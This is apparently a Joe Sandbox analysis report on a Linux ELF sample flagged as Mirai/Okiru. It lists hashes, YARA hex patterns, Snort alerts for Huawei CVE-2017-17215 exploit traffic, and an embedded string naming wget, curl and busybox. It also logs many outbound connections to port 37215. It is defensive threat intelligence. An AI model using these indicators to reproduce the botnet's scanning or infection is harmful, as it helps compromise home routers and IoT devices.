Edit tour

Linux Analysis Report
Q2bIN963Kt.elf

Overview

General Information

Sample name:	Q2bIN963Kt.elf renamed because original name is a hash value
Original sample name:	1b85e749aeaf15db971ce3b1f8d0fa31.elf
Analysis ID:	1428714
MD5:	1b85e749aeaf15db971ce3b1f8d0fa31
SHA1:	c316bf42e6041ef98b9560aaa4e27deae486a675
SHA256:	9d89c1f698338f8ff61e95c2cccabf3e3ca5f43ee148e450a51d24ebb449da31
Tags:	32elfmiraimotorola
Infos:

Detection

Mirai, Okiru

Score:	100
Range:	0 - 100
Whitelisted:	false

Signatures

Antivirus / Scanner detection for submitted sample

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic

Yara detected Mirai

Yara detected Okiru

Uses known network protocols on non-standard ports

Creates hidden files and/or directories

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

Found strings indicative of a multi-platform dropper

HTTP GET or POST without a user agent

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Uses the "uname" system call to query kernel version information (possible evasion)

Yara signature match

Classification

Analysis Advice

Some HTTP requests failed (404). It is likely that the sample will exhibit less behavior.

Static ELF header machine description suggests that the sample might not execute correctly on this machine.

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1428714
Start date and time:	2024-04-19 13:06:09 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 8s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	Q2bIN963Kt.elf renamed because original name is a hash value
Original Sample Name:	1b85e749aeaf15db971ce3b1f8d0fa31.elf
Detection:	MAL
Classification:	mal100.troj.linELF@0/1025@21/0

Warnings

Report size exceeded maximum capacity and may have missing network information.

Runtime Messages

Command:	/tmp/Q2bIN963Kt.elf
PID:	5497
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	done.
Standard Error:

Process Tree

system is lnxubuntu20

Q2bIN963Kt.elf (PID: 5497, Parent: 5418, MD5: cd177594338c77b895ae27c33f8f86cc) Arguments: /tmp/Q2bIN963Kt.elf

Q2bIN963Kt.elf New Fork (PID: 5499, Parent: 5497)

Q2bIN963Kt.elf New Fork (PID: 5501, Parent: 5499)

Q2bIN963Kt.elf New Fork (PID: 5503, Parent: 5499)

Q2bIN963Kt.elf New Fork (PID: 5504, Parent: 5499)

Q2bIN963Kt.elf New Fork (PID: 5507, Parent: 5499)

gnome-session-binary New Fork (PID: 5512, Parent: 1383)

sh (PID: 5512, Parent: 1383, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -e -u -c "export GIO_LAUNCHED_DESKTOP_FILE_PID=$$; exec \"$@\"" sh /usr/libexec/gsd-print-notifications

gsd-print-notifications (PID: 5512, Parent: 1383, MD5: 71539698aa691718cee775d6b9450ae2) Arguments: /usr/libexec/gsd-print-notifications

xfce4-session New Fork (PID: 5516, Parent: 3011)

xfdesktop (PID: 5516, Parent: 3011, MD5: dfb13e1581f80065dcea16f2476f16f2) Arguments: xfdesktop --display :1.0 --sm-client-id 21e3a5141-81ff-45e8-a564-651b5b7002ba

xfce4-session New Fork (PID: 5525, Parent: 3011)

xfdesktop (PID: 5525, Parent: 3011, MD5: dfb13e1581f80065dcea16f2476f16f2) Arguments: xfdesktop --display :1.0 --sm-client-id 21e3a5141-81ff-45e8-a564-651b5b7002ba

gdm3 New Fork (PID: 5527, Parent: 1289)

Default (PID: 5527, Parent: 1289, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /etc/gdm3/PrimeOff/Default

gdm3 New Fork (PID: 5546, Parent: 1289)

Default (PID: 5546, Parent: 1289, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /etc/gdm3/PrimeOff/Default

xfce4-session New Fork (PID: 5549, Parent: 3011)

xfdesktop (PID: 5549, Parent: 3011, MD5: dfb13e1581f80065dcea16f2476f16f2) Arguments: xfdesktop --display :1.0 --sm-client-id 21e3a5141-81ff-45e8-a564-651b5b7002ba

xfce4-session New Fork (PID: 5553, Parent: 3011)

xfdesktop (PID: 5553, Parent: 3011, MD5: dfb13e1581f80065dcea16f2476f16f2) Arguments: xfdesktop --display :1.0 --sm-client-id 21e3a5141-81ff-45e8-a564-651b5b7002ba

systemd New Fork (PID: 5556, Parent: 1)

systemd-user-runtime-dir (PID: 5556, Parent: 1, MD5: d55f4b0847f88131dbcfb07435178e54) Arguments: /lib/systemd/systemd-user-runtime-dir stop 127

xfce4-session New Fork (PID: 5564, Parent: 3011)

xfdesktop (PID: 5564, Parent: 3011, MD5: dfb13e1581f80065dcea16f2476f16f2) Arguments: xfdesktop --display :1.0 --sm-client-id 21e3a5141-81ff-45e8-a564-651b5b7002ba

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
Q2bIN963Kt.elf	JoeSecurity_Okiru	Yara detected Okiru	Joe Security
Q2bIN963Kt.elf	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
Q2bIN963Kt.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
Q2bIN963Kt.elf	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x23183:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x23197:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x231ab:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x231bf:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x231d3:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x231e7:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x231fb:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2320f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x23223:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x23237:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2324b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2325f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x23273:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x23287:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2329b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x232af:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x232c3:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x232d7:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x232eb:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x232ff:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x23313:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F

Memory Dumps

Source	Rule	Description	Author	Strings
5497.1.00007f162c001000.00007f162c027000.r-x.sdmp	JoeSecurity_Okiru	Yara detected Okiru	Joe Security
5497.1.00007f162c001000.00007f162c027000.r-x.sdmp	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
5497.1.00007f162c001000.00007f162c027000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5497.1.00007f162c001000.00007f162c027000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x23183:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x23197:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x231ab:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x231bf:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x231d3:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x231e7:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x231fb:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2320f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x23223:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x23237:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2324b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2325f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x23273:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x23287:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x2329b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x232af:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x232c3:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x232d7:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x232eb:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x232ff:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x23313:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: Q2bIN963Kt.elf PID: 5497	JoeSecurity_Okiru	Yara detected Okiru	Joe Security
Process Memory Space: Q2bIN963Kt.elf PID: 5497	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
Process Memory Space: Q2bIN963Kt.elf PID: 5497	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x707a:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x708e:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x70a2:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x70b6:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x70ca:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x70de:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x70f2:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x7106:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x711a:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x712e:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x7142:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x7156:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x716a:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x717e:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x7192:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x71a6:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x71ba:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x71ce:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x71e2:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x71f6:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x720a:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Click to see the 2 entries

Snort Signatures

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 125.6.191.241

Timestamp:	04/19/24-13:07:42.142393
SID:	2829579
Source Port:	46172
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 125.6.191.241

Timestamp:	04/19/24-13:07:42.142393
SID:	2835222
Source Port:	46172
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: Q2bIN963Kt.elf

Avira: detected

Multi AV Scanner detection for submitted file

Source: Q2bIN963Kt.elf	Virustotal: Detection: 56%			Perma Link
Source: Q2bIN963Kt.elf	ReversingLabs: Detection: 52%

Source: Q2bIN963Kt.elf

String: wgetcurl/bin/busyboxechocatnanotfptkillallpkilltopxargspgrep/proc/proc/%d/cmdlineabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ3f

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.14:46172 -> 125.6.191.241:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.14:46172 -> 125.6.191.241:37215

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 46172 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51454 -> 37215

Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 197.143.84.163:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 157.121.212.116:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 41.11.228.75:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 157.78.39.189:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 41.52.190.106:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 167.135.168.248:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 197.160.211.30:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 197.79.185.134:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 41.184.161.50:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 41.178.223.60:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 136.237.159.244:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 14.140.135.207:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 41.157.251.75:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 197.212.13.207:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 197.70.68.107:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 197.240.226.150:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 75.145.183.20:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 138.135.122.61:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 83.137.190.93:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 41.130.236.126:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 197.146.146.75:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 41.85.124.107:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 157.133.42.181:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 41.35.8.251:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 157.177.118.29:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 43.55.180.133:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 217.158.191.231:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 51.88.243.96:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 53.232.138.42:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 41.228.232.222:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 218.242.240.215:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 157.207.71.236:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 115.192.18.199:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 41.114.25.101:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 197.57.133.253:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 89.152.74.240:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 41.113.136.1:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 157.86.25.164:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 126.202.99.230:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 157.230.193.26:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 41.0.195.117:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 197.66.212.248:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 157.94.117.96:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 197.61.122.215:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 157.74.106.13:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 157.7.2.225:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 41.118.209.70:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 39.101.154.176:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 57.245.57.15:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 130.238.128.27:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 197.226.225.224:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 157.94.243.178:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 41.99.156.237:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 183.225.28.215:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 151.116.85.242:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 197.241.217.84:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 157.218.108.40:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 157.123.161.72:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 197.83.229.232:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 51.106.204.87:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 197.81.38.95:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 197.111.106.202:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 157.156.191.45:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 137.69.205.83:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 197.224.9.38:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 157.133.159.174:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 157.148.30.252:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 105.88.220.76:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 157.162.86.123:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 152.25.11.93:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 41.74.255.161:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 138.151.153.89:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 157.140.2.122:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 157.87.155.206:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 69.192.130.45:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 157.8.39.118:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 41.12.239.30:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 41.156.35.142:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 141.4.116.91:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 135.150.9.136:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 197.112.172.229:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 41.237.250.76:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 197.233.146.134:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 41.159.6.153:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 41.214.194.70:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 41.117.118.100:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 157.40.7.204:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 157.79.51.6:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 91.190.105.81:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 41.77.25.252:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 197.4.220.220:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 197.185.249.99:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 197.13.161.224:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 197.255.116.206:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 41.148.96.146:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 157.34.64.214:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 41.187.11.153:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 157.165.163.220:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 41.56.205.161:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 157.65.40.108:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 157.23.242.222:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 157.17.108.197:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 85.14.78.55:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 41.175.219.170:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 41.124.190.54:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 2.247.15.243:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 41.196.149.159:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 41.149.185.127:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 41.112.140.22:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 157.172.118.107:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 197.234.63.144:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 41.163.197.129:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 41.107.196.37:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 197.128.197.100:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 197.65.14.4:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 165.151.156.190:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 41.118.156.159:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 85.159.24.180:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 157.102.108.151:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 139.201.33.59:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 157.165.84.218:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 41.106.163.241:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 197.111.236.198:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 157.79.246.94:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 157.18.216.239:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 218.233.86.169:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 157.178.25.173:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 197.27.61.144:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 41.196.251.218:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 157.182.236.59:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 197.107.29.127:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 157.87.103.225:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 41.227.249.90:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 157.244.179.177:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 87.214.115.162:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 157.65.130.249:37215
Source: global traffic	TCP traffic: 192.168.2.14:28795 -> 157.129.237.177:37215
